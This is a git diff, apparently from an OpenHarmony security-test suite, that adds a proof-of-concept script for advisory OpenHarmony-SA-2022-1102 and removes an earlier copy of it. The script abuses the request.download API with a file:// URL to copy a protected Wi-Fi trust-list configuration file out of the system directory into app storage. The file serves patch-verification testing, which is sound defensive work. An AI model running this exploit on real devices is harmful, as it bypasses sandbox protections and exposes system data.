diff --git a/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.ets b/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.ets new file mode 100644 index 0000000000000000000000000000000000000000..debf4e5f3e4d55b831929481574d9ea92fb13d91 --- /dev/null +++ b/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.ets @@ -0,0 +1,35 @@ +/* + * Copyright (c) 2023 Huawei Device Co., Ltd. + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +import request from "@ohos.request" +export default{ + downloadFile(urlPath, out) { +     let downloadConfig = { +         url: urlPath, //敏感文件地址 +         filePath: '/data/storage/el2/base/'+out //保存地址 +     } +     let downloadTask; +     +     // Obtain the DownloadTask instance using a callback. +     request.download(downloadConfig).then((data) => { +         downloadTask = data; +         downloadTask.on('fail', (error) => { +             console.info("download fail error:" + JSON.stringify(error)); +         }); +     }).catch((err) => { +         console.error('Failed to request the download. Cause: ' + JSON.stringify(err)); +     }) + } + downloadFile('file:///data/misc/wifi/trust_list_polices.conf', 'trust_list_config.conf') +} \ No newline at end of file diff --git a/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.txt b/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.txt deleted file mode 100644 index d41d4d7e53cd0adcf39794bfe3184ee493b51ac3..0000000000000000000000000000000000000000 --- a/demo/sectest/poc_patch_scan/2022-11/OpenHarmony-SA-2022-1102.txt +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright (c) 2023 Huawei Device Co., Ltd. - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -import request from "@ohos.request" -downloadFile(urlPath, out) { -    let downloadConfig = { -        url: urlPath, //敏感文件地址 -        filePath: '/data/storage/el2/base/'+out //保存地址 -    } -    let downloadTask; -    -    // Obtain the DownloadTask instance using a callback. -    request.download(downloadConfig).then((data) => { -        downloadTask = data; -        downloadTask.on('fail', (error) => { -            console.info("download fail error:" + JSON.stringify(error)); -        }); -    }).catch((err) => { -        console.error('Failed to request the download. Cause: ' + JSON.stringify(err)); -    }) -} -downloadFile('file:///data/misc/wifi/trust_list_polices.conf', 'trust_list_config.conf') \ No newline at end of file